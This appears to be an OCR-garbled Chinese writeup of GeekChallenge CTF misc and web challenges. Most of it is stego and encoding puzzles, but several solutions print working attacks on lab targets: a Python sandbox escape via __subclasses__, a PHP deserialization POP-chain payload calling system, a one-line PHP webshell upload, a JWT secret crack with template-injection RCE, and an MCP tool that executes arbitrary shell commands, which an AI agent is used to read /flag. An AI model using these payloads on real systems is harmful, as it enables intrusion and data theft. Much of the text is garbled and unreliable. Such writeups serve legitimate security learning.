GeekChallenge WRITEUP

Misc

BUP7-Pi/B A X

® [misc] HTTP

RERERENE, RIRAMTL, REZFEKE URL SR

23

st URL 89 d S4#% baseb4s, LIZE flag

U1IDe1JfVVIOBXw==

fRASER:  Basefd
f#f3% ABCDEFGH

SYCR U A

RjBSMO5TMUM1

fRE3ZEE):  Base64
#@5% ABCDEFC

FOR3NS1C5

X01BU1RFUj99

fRI5ER):  Basebd
@tB%E  ABCDEI

_MASTER?}

SYC{R_U_A_FOR3NS1C5_MASTER?}

® [misc] & &

GPS
SHE
gSE

AEEER, BERMBI—ETF ==

EXNRIZAE, FTFBRABEE, XAZLSHE

39; 52; 47.3200000000071
116; 23; 58.3599999999860586
46.4389858264159443
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FIETREILRT, WMEAE=ARNE, %R, #WAREAHE

S|

SYC{t®w _R=AHE}

® [misc] evil_mcp

TUESE—NMCP, ®ELH, 5T —/AA os.system L
B, T

from typing import Any
import os

# &< BsEA ToolResult / ToolExecutionContext / tool
@tool(
name="exec_command",
description="#{T4a4",
input_schema={
"type": "Object",
"properties": {
"command": {
|I-typell : "Str‘ing" ,
"description": "fRRHTHHES"
}
}

"required": ["command"]




async def exec_command(arguments: dict[str, Anyl],
context: ToolExecutionContext) -> ToolResult:
content = f"Result:
{os.popen(arguments['command']).read()}"
return ToolResult(content=content)

# KT RS PIRELTE
# WEER Otool EimE, FAREWREL SN tool WERE
# tool = echo_agent # (EREEENIEE, "DUREX—T

BETRIL AT AAXAN TR flag sisd T

ReF
1REF! Bt ARILATBENIREYIG?

FBexec_commandififTls /

{"content": "Result:
app\nbin\nboot\ndev\netc\nflag\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nstart.sh\nsys\ntmp\nusr\m
"metadata”: {}}

ZXRERERTHABIIE:

app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

RERMBHPREYARERNEAD? AELHRARBBRTNSS?

Hexec_command#ificat /flag

{"content": "Result: SYC{019a2b5d5f777ce3b7c87bef4f895bf3}\n", "metadata”: {}}

BERMRB T —MagXff. ZTXHFHARTE:
SYC{019a2b5d5f777ce3b7c87bef4f895bf3}

RMUFR—ICTF (SH%) AEHflagstl. MERREXMaghIE N, AFHERFRTRMOBED? #icE, MBBHEREX
HRIESRRESNE, BWESZRINGBENEITIRE




SYC{019a2b5d5f777ce3b7c87bef4f895bf3}

® [misc] Bite off picture
— NMNRWEER, binwalk TR%, =2 AES &M, LEMIT

Aok, F ImHex 317, &IM—E3¥ )7 basebd:

vl PA=! =R
FRITAR 3| 252G
Recipe BB E Input
==gcyV2dyV2
Reverse geyv2dyvad
B"r"
Character
From Base64
Alphabet
A-Za-z0-9+/= T Remove non-alphabet chars
[] strict mode
aec 12 = 1
Output
werwerr]

& wow.png A2EH K, A pngcheck, &3 IHDR Bk crc 1%,

GRS, A InHex & EREFEHK

_really-funfii!l}




ARG H, FRREEER, KAARALKE
WAE: 0x5359437b773362335f67346d33573743472747d

16 HFHAFTH

5359437b773362335f67346d335F73743472747d
From Hex

Delimiter

Auto

mec 48 = 1

Output

SYC{w3b3_g4m3_st4rt}|

SYC{w3b3_g4m3_start}

® [misc] Dream

WAL, KA—NEA, HTRILCH



Decompilation

This might be constructor bytecode - to get at the deployed contract, go back and remove the constructor

contract Contract {
main() {
memory [0x40:0x60] = 0x80;
var0 = msg. value;

(var0) { revert (memory[0x00:0x00]); }

(msg. data. length < 0x04) { revert (memory[0x00:0x00]); }

varQ) = msg. data[0x00:0x20] 0xe0;

(var0 != 0xcf9a197d) { revert (memory[0x00:0x00]); }

varl
var2

var3 { 3 336¢63306d337430626¢c30636b636861316e7d ;
memory [0x00: :

(a:=0x5359437b77336c63306d337U430626c30636b636861316e7d) .to_bytes(a.bit_length() //8+1)
b'SYC{w31cOm3tOblOckchaln}'

SYC{w31lcOm3tOb1Ockchaln}

® [misc] Expression Parser

WiEl, &ZIEMRS|__builtins__# Python 748, EiEER Web
EE% RN SSTI #9452 3| os BIE RCE, A&y flag EIMETE

U

B, £ environ 4T

[i for 1 in ''.__class__.__mro__[1]._ _subclasses__() if
i.__name__ ==

'_wrap_close'][0].__init__.__globals__["'environ']




TiE=

[i for i in ''.__class_ ._mro_ [1]._ subclasses_ () if i._name_ == '_wrap_close']
[e].__init . globals_ ['environ']

019al0ad-1cf9-Thcced7b89—fcjdz’, "LANG : 'C.U
* PYTHON PIP_VERSION : ’24.0°, ’PYTHON GET PIP URL': *

1", "FLAG :
//10.111. 9. 220:80°,
’ CHALLENGE_019A7612 96BB_019A1158 815F PORT 8080_TCP_PROTO’ : , ’ CHALLENGE 019A01CB I 019A6D63_4E2E_PORT 8080_TCP_PORT” : " 8080’,
’ CHALLENGE_019A09FC_908C_019A70B5_504D_PORT_3000_TCP_PORT’ : ’3000°, ’ CHALLENGE_019A2A5 9A1561_4: SERVICE_HOST : ’10.108.154.194°,

* CHALLENGE_019A81D5_3C2C_019A11BC_F5D1_PORT 1337 TCP_ADDR’ : ’10.110.144. 176’ , ’CHALLENGE 0197612 96BB 019A1158 B15F PORT 8080 TCP’ :

SYC{decent_jail_breaker_019a82eaa4317ffc91b56d1bc

4che551}

® [misc] hidden
Word XA AT E—A zip R4EH, MBEEHI|=E flag

Partl: & word/document.xml &

w:pPr><w:proofErr w:type="gramStart"/><w:r w:rsidRPr="001C2846"><w:rPr><w:rFonts w:hint="eastAsia"/
><w:vanish/></w:rPr><w: t>SYC{</w:t></w:r><w:proofErr w:type="spellStart"/><w:proofErr
w:type="gramend"/><w:r w:rsidR="©@1C2046" w:rsidRPr="881C2846"><w:rPr><w:rFonts w:hint="eastAsia"/
><w:vanish/></w:rPr><w:t>adsad</w:t></w:r><w:proofErr w:type="spellEnd"/></w:p><w:p
wl4:parald="27A4E657" wl4:textId="77777777" w:rsidR="@@1C2046"

SYC{adsad MzYyZ2V5Z2Gd3dW5rZHdIZQ==
Part2: 7 doc/word.txt B

1 flag2: MzYyZ2V5ZGd3dW5rZHd1ZQ==

RASERY:  BaseB4 v S

fif basebd BT T

@S ABCDEFGHIJKLMNOP!

362geydgwunkdwee 362geydgwunkdwee



Part3: 7 doc/flag3.jpg E

XE—ANRIRW jpg X, &4 Exif 3k, &—AA Exif kw
jpg, IERTEEIIEOI EFIFT

g
sjdmd}

flag3.jpg

sjdmd}

SYC{adsad362geydgwunkdweesjdmd}

® [misc] another_flower (¥m&S%)

LMK . ps X, XIEEA moveto, lineto, TEERELEHK
P&, BRRMNTL19937, miERAEMAER., =B

EEREIREIEH, BT FRMAMLERE, BT —EX,
RRBEBEARENRDEZEAALTT! BREARRAKE, ¥

BE 2 H i 7 69 e @ E &2
REEMAERE, H5E
® [misc] CRDT

23| ops.json, ZI—K3# ins fodel, FEEFL del MK T



®k ins B9 &, HEEL ins, &5 del, A H Python A8 :

Nodes:
__init_ (self):
self.nodes ('HEAD', '")]

ins(self, op):

index = self.nodes.index([i i self.nodes i[9]
op['parent']][@])

self.nodes.insert(index+1, (op['id'], op['ch']))

del (self, op):
self.nodes.remove([i i self.nodes i[o]

op['id"]][e])

get text(self):
"'ojoin([i[1] i self.nodes])

nodes = Nodes()
json
ops = json.load(open('ops.json', encoding="'utf-8"))
op op ops op['op']=="ins"]
ins:
print(len(ins))
op = ins.pop(0@)
nodes.ins(op)

ins.append(op)

op ops:
op['op']=="del":

nodes.del (op)

print(nodes.get text())




2
1

SYC{CRDT_RGA_CHALLENGE_IS_SO_EASY}RXPbA41I_K=S

SYC{CRDT_RGA_CHALLENGE_IS_SO_EASY}

® [misc] gift

ZIRAY RENMM, AR+ #SHRESTOXE—A zip X
(ia

50 4B 03 04 14 09 63 DD 99 PK
29 6 D EA AN A £ 2L nA (alal } mY 6
74 65 u32 crc32 1831407741 1 termark.BMP
41 43 us uo £2 yr t©/ 4L 4u ol AE %.  LELZZ
3D 8D 10 Cé6 CB A7 SD 17 AA A3 94 06
CD C7 75 9F 75 3D F8 E2 51 BD E4 44 D %P

HELEREXH—F baseb4

CO ES D7 4F DC 01 CB 83 OF 8D D7 4F
07 01 41 45 B3 08 50 4B 05

01 01 6A 9F 1A A4
7A 46 6D 64 41 3D 3D zFmdA==

fif basebd, BE|EHFEOEH glft, EEREFH
watermark.BMP, {#/H WaterMark.exe $2EXE/KEFEI/Z flag



A WaterMark-SERIRICIEES - B X

FEEI(H)
SINIRIR
JKENZERY:
O Z@ken © SikEn

IKENFEE :
O 3=5ken O EHIKED

HENZZE

BT
¥ 0

HKEMERE:

$REVEIR
ER=E:

THER FhKED {RENSKEN BR 5N

BEAT)

SYC{IT3_gift-fOr-you}

® [misc] describe_the_world

R, 23— NFEARXHFF—NEA 1440000 NERFH S
XAY, BB ASCII Art, TR PIL I2BGXEFRN AER
B, REZEHAXRER, %4 Python 5.

PIL Image, ImageDraw, ImageFont
numpy np

font = ImageFont.truetype('unifont-17.0.03.0tf', 20)

result

file = open('data.txt', encoding='utf-8")

line in file:
1n ]
char line:




img = Image.new('L', (10, 20), 255)
draw = ImageDraw.ImageDraw(img)
draw.text((@, @), char, 0, font)

1n.append(np.average(np.array(img)))
result.append(1ln)

result = np.array(result)
result np.max(result)

np.save( 'converted.npy', result)

Image.fromarray((result.reshape( (900,
1600))*255).astype('uint8"')).show()

Sy @ / ' I '
" -3 'T H 1254 1 1 4 " ‘— o0
] | '™ G A8l i) Feooicl IR IR )
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\ 5 3] =

SYC{You_would_pause_that_light_for_me}

® [misc] 4akb5ra



RRNMRAET, ZELSB

B B F—B =& (byshi), FEM binwalk FFia

—(python-venv) (pi% LAPTOP-ICPUJICOI)-[/mnt/d/PiYuanZhoulv/sl/GeekChallenge/misc/4ak5ra]
—$ binwalk *.jpg

DECIMAL HEXADECIMAL DESCRIPTION

[¢] 0x0 JPEG image data, JFIF standard 1.01

34678 0x8776 Zip archive data, at least v2.0 to extract, compressed size: 985648, uncompressed size: 98
5555, name: dakra.png

1020456 0xF9228 End of Zip archive, footer length: 22

BRI AR T —/ Zip "S~, fnt-e, BE|—3K png BH
XEgZ LSB T

Pixel Order Bit Order Bit Plane Order Trim Trailing Bits

Results
No file types identified.

The results below only show the first 2500 bytes. Select "Download” to obtain the full data.
Ascii (readable only):

..5SYC{ Im waiti ng for S akura t0 _become a top pw n master }$.v..T
AU A I/ S LELL..T Y....n.. & .MW& ...d§..n .:...... ..... =5

- »

AHE =M Rt T

SYC{Im_waiting_for_Sakura_t0_become_a_top_pwn_mas

ter}

® [misc] monitoring

IR IKE F—##3] PhotoShop B, EEREHRBZAERIIFIER, FT

UF%5 EERR photopea.com



REERGEEE—WELR, KIHd->HKEMN TUERTED, R
EPtE =%, B bA LA THEMNR, AfHEAE flag

SYC{shi_tte_ru_yo}

@ E5l ¢ B

|
_—

SYC{shi_tte_ru_yo}

Web

e [web] MEEHIBSE

FAF12 £ s HRHELERNIER, KIMANEHA basebs /iy, fE
baseb64 12| & HHAANEER json

{"achilles distance":10000000000,"tortoise distance":11000000000}

BT RAL AT E NE AT LS B RRRAT T



{"achilles_distance":1145141919810,"tortoise_distance":11000000000}

BREH: Basebd v THEE: UTF8 - | e || em || oz || oEe |
#Ei2%  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkimnopqrstuvwxyz0123456789+/

eyJhY2hpbGxlc19kaXNOYW5jZSIEMTEONTEOMTkxO TgxMCwidGOydG9pc2ViZGlzdGFuY 2UiOjEXMDAWMDAWMDAwfQ==

jest POST Response 200

DaDNFVDFtZVo 90aGVTM25kX2AXOWEAYWY4Y2UQY jexN

eyJmbGFnljoglINZQ3tTcGkxdF90aDNfVDFtZVI0MF90aGVIiM25kXzAxOWE4YWY4 Y21

RFSER:  Basefd v TR UTF-8 v | 4RFD |

@53 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkimnopgrstuvwxyz0123456

{"flag": "SYC{Spi1t_th3_T1me_t0_the_3nd_019a8af8ce4b7169b0bdac95057c644c}")

SYC{Spilt_th3_Time_t0_the_3nd_019a8af8ce4h7169b0Bb

dae95057cb44c}

® [web] Vibe SEO

WIERR, E/sitemap.xml



v <urlset xmlns="http://www. sitemaps. org/schemas/sitemap/0.9">
v<url>
{loc>http://localhost/</loc>
{changefreq>weekly</changefreq>
<furl>
v<url>
{loc>http://localhost/aa_ . php</loc>
{changefreq never</changefreq>
<Sfurly
{/urlset>

el /aa__".php

Warning: Undefined array key "filename” in /var/www/html/aa__*".php on line 3

Deprecated: strlen(): Passing null to parameter #1 (Sstring) of type string is deprecated in fvar/www/htmlfaa__**.php on line 3
Warning: Undefined array key "filename” in fvar/www/html/aa__*".php on line 4

Deprecated: readfile(): Passing null to parameter #1 {Sfilename) of type string is deprecated in /var/www/htmlfaa__A*.php on line 4

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__**.php:4 Stack trace: #0 /var/www/html/aa__**.php{4): readfile(") #1 {main} thrown in /varfwww/html/aa__**.php on line 4

RIERE, NiZZ filename SHEEEBXMH, FEAKERE, %L
f& filename=aa__"".php &R

X L aE WS EN ARlEE

<?php
$flag = fopen('/my secret.txt’, 'r');
if (strlen($ GET['filename']) < 11) {
readfile($ GET[ 'filename']);
} else {
echo "Filename too long";

}
|

o =~ & N B oW R

RERW, BE/my_secret.txt XK7T, BEAITFIXAH,
PR A K XHAMREE R, —T AR php://fd/(BR%
A, BEXA/dev/fd/??E—%, KI/dev/Fd/13 TLLH
flag



& (O | A FTEE£ 019a8b04-a26b-7f1c-9754-2d93feal0982.geek.ctiplus.cn/aa_ %5E%5E.phpfilename=/dev/fd/13

SYC{019a8b04a2587c20acddb868cfb50719}

SYC{019a8b04a2587c20acddh868cfh50719}

® [web] Expression

SeEM, &3 —/IWT, ARERN ENHRE, ZREEN
secret, #ARX, HIFHE

hashcat -a 0 -m 16500
eyJhbGci01JIUzIINIiISInR5cCI6IKkpXVCI9. eyJ1bWFpbCI6IFEYMOA
ONTYuNzg5IiwidXNlembhbWUi0iJ1c2VyX2NkMzh1ZDg5Y2IyMiIsIml
hdCI6MTc2MzI20TQWNSwiZXhwIjoxNzYz0DcOMjA1+Q.JID2gCR_zCDTxX
2SCTYuH4y2EEF8MKJUBPLigs2LZXZeo ../rockyou.txt

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 1109 MB (17197 MB free)

Dictionary cache hit:
* Filename..: ../rockyou.txt
* Passwords.: 14344385
: 139921507
* Keyspace..: 14344385

eyJhbGeci0iJIUzIINiIsInR5cCI6IkpXVCI9. eyJLbWFpbCIGI JEYMOAONTYuNzgSIiwidXNlemShbWUi0iJ1lc2VyX2NkMzh1ZDg5Y2IyMiIsImlhdCI6MTc
2MzI20TQwNSwiZXhwIjoxNzYzODcOMjA1fQ.ID2gCR_zCDTx2SCTYuHUy2EEF8mKJUBPliqs2LZXZeo: secret

: hashcat
: Cracked
Hash.Mode. .. ..: 16500 (JWT (JSON Web Token))
Hash.Target : eyJhbGeci0iJIUzIINiIsInR5cCI6IkpXVCJI9. eyJLbWFpbCI6I] ... LZXZeo
Time.Started : Sun Nov 16 13:09:19 2025 (0@ secs)
Time.Estimated ... : Sun Nov 16 13:09:19 2025 (0 secs)
Kernel.Feature ... : Pure Kernel (password length 0-256 bytes)

| secret: secret

2
el

~

BETRMAUE IWT 7, 2328, BErAFP,PZ2A T ejs

Y A HEADER: ALGORITHM & TOKEN TYPE CLLAR JSON WEB TOKEN COPY

SInR5cCIGILPIVEA. ey LBTEPhCIGI JEFMD

SKDALLCT1eHAL0 JESN JH4NzQyMDVO. i8]z

PAYLOAD: DATA

valid paylead

Xwim, 49!

SIGN JWT: SECRET CLEAR
valid secret RtHEsR
s




RGEIRETEEHKE FLAG

HEADER: ALGORITHM & TOKEN TYPE

valid header

H3256"

-

PAYLOAD: DATA

valid payload

ss. mainModule, require (' child_process (" printenv

SIGN JWT: SECRET
Valid secret

secret

token=eyJhbGciOiJlUzINilsinR5...

JSON WEB TOKEN coPY

200

CHALLENGE 019A7612 96BB 019A1594 2D8B _SER
KUBERNETES_SERVICE_ HOST=10.96.0.1
CHALLENGE 019A5E61_BB39 019A1196_988B_POF
CHALLENGE 019A7612 96BB 019A1594 2D8B _POI
CHALLENGE_019A5E61 _BB39 019A1196_988B_SER
PWD=/usr/src/app
npm_execpath=/usr/local/lib/node_modules/npm;
clijs
CHALLENGE 019A01D2 4CF4 019A7703_793E POR
CHALLENGE_019A120E 3F96 019A1164 4D72 SER'
CHALLENGE 019A10D0_2FA4 019A10AD_1CF9_PO
CHALLENGE_019A01D2_4CF4 019A7D71_A466_SEF
CHALLENGE 019A7612_86C2 019A12AE_737B_SER
npm_config_global_prefix=/usr/local
CHALLENGE_019A01CB_BF3C_019A3D2D_A3C9_SE|
CHALLENGE_019A780F_F9D1_019A1B57_0ADS5_POI
npm_command=run
CHALLENGE_019A01D2_4CF4 019A8B0A _2F05_SER
CHALLENGE_019A5E61_BB39 019A1196_988B_POF
NODE_ENV=production
FLAG=SYC{019a8b0b791f7b118bbe8e027f9342f9}
CHALLENGE_019A01D2_4CF4 019A7703_793E_POR
CHALLENGE_019A5E61_BB39 019A1196_988B_POF
CHALLENGE 019A2B37 D8ED_019A1633_1ADF PO
CHALLENGE 019A01F3_1DAB_019A25F5 34B4 SER
CHALLENGE 019A10D0 _2FA4 019A10AD_1CF9 PO
CHALLENGE_019A01D2_4CF4 019A7703 793E_POR
CHALLENGE_019A780F F9D1 _019A1B57 _0AD5_POI
CHALLENGE 019A10D0_2FA4 019A10AD_1CF9 PO
CHALLENGE 019A7612 96BB 019A1594 2D8B _POI
CHALLENGE 019A01D2_4CF4 019A8B0A 2F05 SER
INIT_CWD=/usr/src/app EDITOR=vi !

FLAG=SYC{019a8bBb791f7b118bbe8e027f9342f9}

® [web] popself

M RELLRITH, B RS0



BAELS, UERAREEEAN, TNSBB®AR ., A
php BEZRE, HOTTLUMEN24[SYC.zip", ‘["HWRIEEF

/., SBRBRR D, RERENIEEFRARLIE SR, BEA
BH24_SYC.zip’

R 2 mnd5(a)==md5(md5(b) ) ix/Ngsst, T ARMSEITHOELR
N, ERZIFHIIN mdd LSk, BOE T —/NEREA
hashlib

md5(s):
hashlib.md5(s.encode()).hexdigest()

string

charset = string.ascii_uppercase+string.ascii_lowercase+string.digits

itertools
\ 8

s in itertools.product(charset, repeat=N):

h = md5(md5(""'.join(s)))
h.startswith('@e") h[2:].isdigit():
print(''.join(s))

RAEH T —1: AAAAYzFo

BETREZE! ($fox instanceof All_in_one) &&
$fox()==="summer", BH— summer Z£# find_myself =1L
SR, XBERKARA: [summer, "find_myself"]O)ERT

summer.find_myself()

REBESET strlen($args[0])<4 &&
($args[0]1+1)>10000, —#AFIZEITHOREIR, T @E2ERK



payload & php Xt

<?php

error_reporting(9);
All_in_one

$KiraKiraAyu;
$_4ak5ra;
$K4per;
$Samsara;
$komiko;
$Fox;
$Eureka;
$QYQs;
$sleep3r;
$ivory;

$L;

summer {
find_myself(){
"summer";

$_4ak5ra All in_one();
$_4ak5ra->Samsara = "system";
$_4ak5ra->ivory = "printenv";
$sleep3r All in_one();
$sleep3r->_4ak5ra = $_4ak5ra;
$komiko All in_one();
$QYQS All in_one();

$QYQS - >Fox [summer, "find_myself"];
$QYQS- >komiko = $komiko;
$QYQS->L = "1e5";
$QYQS->sleep3r = $sleep3r;

$AIO All in_one();
$AIO->QYQS = $QYQS;

$AI0- >KiraKiraAyu = "AAAAYzFo";
$AIO- >K4per "s1885207154a";

echo serialize($AIO);

?>




&4 payload:

?24[SYC.zip=0:10:"Al1l_in_one":11:{s:11:"KiraKiraAyu";s:8
:"AAAAYzF0";s:7:"_4akbra";N;s:5:"K4per";s:12:"s188520715
43" :s:8:"Samsara" ;N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eure
ka";N;s:4:"QYQS";0:10:"All_in_one":11:{s:11:"KiraKiraAyu
":N;s:7:"_4akbra";N;s:5:"Kaper";N;s:8:"Samsara";N;s:6:"k
omiko";0:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_
4akbra";N;s:5:"K4per";N;s:8:"Samsara";N;s:6:"komiko";N;s
:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleepdr";N;s
:5:"ivory";N;s:1:"L";N; }s:3:"Fox";a:2:{i:0;s:6:"summer";
i:1;s:11:"find_myself";}s:6:"Eureka";N;s:4:"QYQS";N;s:7:
"sleep3r";0:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7
:"_4akbra";0:10:"ATl_in_one":11:{s:11:"KiraKiraAyu";N;s:
7:"_4akbra";N;s:5:"Ké4per";N;s:8:"Samsara";s:6:"system";s
:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:
7:"sleep3r";N;s:5:"ivory";s:8:"printenv";s:1:"L";N; }s:5:
"K4per";N;s:8:"Samsara";N;s:6:"komiko";N;s:3:"Fox";N;s:6
:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";N;s
:1:"L";N;}s:5:"ivory";N;s:1:"L";s:3:"1e5";}s:7:"sleep3r"
;N;s:5:"ivory";N;s:1:"L";N; }

CHALLENGE_019A10D0_2FA4_019A82B1_AF30_SERVICE_PORT=3000 Ct
CHALLENGE_019A8649_4AB3_019A1169_08C6_SERVICE_PORT_PORT_]
FLAG=SYC{Round_And_rOund_019a8b1d33ff7069a5f944fb69891aec} CH
CHALLENGE_019A01D2_4CF4_019A8B0A_2F05_SERVICE_PORT_PORT _:

SYC{Round_And_r0Ound_019a8h1d33ff7069a5f944fh69891

aec}t

® [web] one_last_image

BEEE—AEARD, KT WAF 7, 2%, 43 ban 7 php.
system &, Z/FEIR EfE

<?= ("sys"."tem") ($_GET["cmd"]) ?>




Upload an Image
A | hackwal php
Color Size (1-255): 20

Background Mode: Light ~

Error during image processing: cannot identify image file */var/www/htmi/uploads/ff517997-c379-492a-850b-b186c4a1933e.php’ Traceback (most recent call last): File */var/www/htmi/one_last_image.py", line 140, in main

draw_cmorfu\[wmr_suzsucolcr_suempun path=input_path,cutput_p put_path, dark_made) File
*fuar/www/htmi/one_last_image.py" line 98, in draw_colorful draw_list= get_image_line(color_size, input_path] File "/var/www/html/one_last_image.py", line 61, in get_image_line im_raw = Image.open(ile) File
“fusrflocal/lib/pythen3.13/dist-packages/PIL/Image.py", line 3560, in open raise Uni rorimsg) PIL. Tor: cannot identify image file */var/www/html|/uploads/ff517997-c379-492a-860b-
bl1s6cdal933e.php’

WREBERERT BMNDME, & RCE

flag EFEREE, BEERBEEEERAARST! MT /L
KA A RE| 2

CHALLENGE_019A2F4D_887A_D19A14CE_A45D_PORT=tcp://10.97.24.254:8080 CHALLENGE_019A4FOF_6B59_019A3D2D_A3C9_SERVICE_PORT=8080
CHALLENGE_019A4FOF_6B59_019A302D_A3C9_PORT=tcp://10.109.91.158:8080 CHALLENGE_019A2FAD_887A_019A14CE_A45D_SERVICE_PORT=8080 CHALLENGE_019ASEG]_BB39_019A1196_988B_SERVICE_PORT=8080
KUBERNETES_SERVICE_PORT=443 CHALLENGE_019ASE61_BB39_019A1196_9888_PORT=tcp://10.111.170.154:8080 CHALLENGE_019A01CB_BF3C_019A1164_4D72_PORT_8080_TCP_PORT=8080
KUBERNETES_PORT=tcp://10.96.0.1:443 CHALLENGE_019A10D0_2FA4_019A7D71_A466_SERVICE_PORT_PORT_3000=3000 CHALLENGE_019A10D0_2FA4_019A7703_793E_PORT_3000_TCP_ADDR=10.99.237.15
CHALLENGE_019A01CB_BF3C_019A1164_4D72_PORT_8080_TCP_PROTO=tcp APACHE_CONFDI 2 HOSTNAME=challenge-019a14b0-ca72-019a10ad- 1cf9. b9ds PHP_INI_ /php
CHALLENGE_019A10D0_2FA4_019A70B5_504D_PORT_3000_TCP_ADDR=10.104.107.19 CHALLENGE_019A2F4D_887A_019A14CE_A45D_PORT_8080_TCP=tcp://10.97.24.254:8080
CHALLENGE_019A10D0_2FA4_019A82B1_AF30_SERVICE_PORT_PORT_3000=3000 CHALLENGE_019A10D0_2FA4_019A7703_793E_PORT_3000_TCP_PORT=3000
CHALLENGE_019A4FOF_6B59_019A3D2D_A3C9_PORT_8080_TCP=tcp://10.109.91.158:8080 SHLVL=0 CHALLENGE_019A01CB_BF3C_019A1164_4D72_PORT=tcp://10.100.105.52:8080
CHALLENGE_019A01CB_BF3C_019A1164_4D72_SERVICE_PO! HALLENGE_ _2FA4_ \_2F05_SERVICE_PORT_PORT_3000=3000
CHALLENGE_019A7612_86C2_019A12AE_737B_PORT_3000_TCP_ADDR=10.109.151.109 CHALLENGE_019A10D0_2FA4_019A7703_793E_PORT_3000_TCP_PROTO=tcp
CHALLENGE_019ASE61_BB39_019A1196_0888_PORT_8080_TCP=tcp://10.111.170.154:8080 CHALLENGE_019A14B0_82BF_019A2051_DA46_PORT_80_TCP=tcp://10.108.234.6:80
CHALLENGE_019A10D0_2FA4_019A70B5_504D_PORT_3000_TCP_PORT=3000 CHALLENGE_019A10D0_2FA4_019A70B5_504D_PORT_3000_TCP_PROTO=tcp
CHALLENGE_019AT612_86C2_019A12AE_737B_PORT_3000_TCP_PORT=3000 CHALLENGE_019A7612_86C2_019A12AE_737B_PORT_3000_TCP_PROTO=tcp PHP_LDFLAGS=-WI,-O1 -pie
CHALLENGE_019A01CB_BF3C_019A1164_4D72_PORT_8080_TCP=tcp://10.100.105.52:8080 APACHE_RUN_DIR=/var/run/apache2 CHALLENGE_019A14B0_CA72_019A10AD_1CF9_SERVICE_HOST=10.104.208.175 PHP_CFLAGS=-
fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=8.2.29 APACHE_PID_FILE=/var/run/apache2/apache2.pid
CHALLENGE_019A14B0_CAT2_019A10AD_1CF9_SERVICE_PORT_PORT_80=80 CHALLENGE_019A01D2_4CF4_019A1623_BACF_SERVICE_HOST=10.109.253.156
CHALLENGE_019A10D0_2FA4_019A7D71_A466_PORT_3000_TCP_ADDR=10.105.48.162 GPG_KEYS=39B641343D8C104B2B146DC3FIC39DC! E60913E4DF. 9CF2AT95A
1198C0117593497ASEC5C199286AF1F9897469DC CHALLENGE _019A2B37_DSED_019A1633_1ADF_SERVICE_PORT_PORT_8080=8080 CHALLENGE_019A10D0_2FA4_019A7703_793E_PORT_3000_TCP=tcp://10.99.237.15:3000
CHALLENGE_019A10D0_2FA4_019A7703_793E_SERVICE_HOST=10.99.237.15 CHALLENGE_019A7612_96BB _( 019A1594 IDBB SERVICE_PORT_PORT_8080=8080
CHALLENGE_019A0102_4CF4_019A1623_BACF_SERVICE_PORT_PORT_80=80 PHP_ASC_URL=http php. 8.2.29.tar.xz.asc PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -02 -
D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 CHALLENGE_019A1000_2FA4_019A8281 AF30_PORT_3000_TCP_ADDR=10.108.12.240 CHALLENGE_019A10D0_2FA4_019ATD7L_A466_PORT_3000_TCP_PORT=3000
CHALLENGE_019A10D0_2FA4_019A70B5_S04D_PORT_3000_TCP=tcp://10.104.107.19:3000 CHALLENGE_019A10D0_2FA4_019A7D71_A466_PORT_3000_TCP_PROTO=tcp PHP_URL=https://www.php.

8.2.29.tarxz CHALLENGE_019A14B0_CA72_019A10AD_1CF9_PORT=tcp://10.104.208.175:80 CHALLENGE_019A14B0_CA72_019A10AD_1CF9_SERVICE_PORT=80
CHALLENGE_019A10D0_2FA4_019A70B5_S04D_SERVICE_HOST=10.104.107.19 CHALLENGE_019A10D0_2FA4_019A8BOA_2F05_PORT_3000_TCP_ADDR=10.102.181.13
CHALLENGE_019A7612_86C2_019A12AE_737B_PORT_3000_TCP=tcp://10.109.151.109:3000 CHALLENGE_019A10D0_2FA4_019A8281_AF30_PORT_3000_TCP_PORT=3000 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
CHALLENGE_019A7612_86C2_019A12AE_737B_SERVICE_HOST=10.109.151.109 CHALLENGE_019A01D2_4CF4_019A1623_BACF_SERVICE_PORT=80 CHALLENGE_019A10D0_2FA4_019A8281_AF30_PORT_3000_TCP_PROTO=tcp
CHALLENGE_019A14B0_82BF_019A2051 DA46_SERVICE_HOST=10.108.234.6 CHALLENGE _019A10D0_2FA4_019A8BOA_2F05_PORT_3000_TCP_PORT=3000
CHALLENGE_019A01D2_4CF4_019A1623_BACF_PORT=tcp://10.109.253.156:80 PATH=/usr/ in:/bin CHALLENGE_019A10D0_2FA4_019A8B0A_2F05_PORT_3000_TCP_PROTO=tcp
CHALLENGE_019A2F4D_887A_019A14CE_A45D_SERVICE_PORT_PORT_8080=8080 CHALLENGE_019A4FOF_6B59_019A3D2D_A3C9_SERVICE_PORT_PORT_8080=8080
CHALLENGE_019A14B0_82BF_019A2051_DA46_SERVICE_PORT_PORT_80=80 CHALLENGE_019ASE61_BB39_019A1196_988B_SERVICE_PORT_PORT_8080=8080
CHALLENGE_019A10D0_2FA4_019A7703_793E_PORT=tcp://10.99.237.15:3000 CHALLENGE_019A10D0_2FA4_019A7703_793E_SERVICE_PORT=3000 KUBERNETES_PORT_443_TCP_PORT=443
CHALLENGE_019A14B0_CA72_019A10AD_1CF9_PORT_80_TCP_ADDR=10.104.208.175 APACHE_LOCK_DIR=/var/lock/apache2 KUBERNETES_PORT_443_TCP_PROTO=tcp LANG=C
CHALLENGE_019A10D0_2FA4_019A70B5_S04D_SERVICE_PORT=3000 CHALLENGE_019A10D0_2FA4_019A70B5_504D_PORT=tcp://10.104.107.19:3000
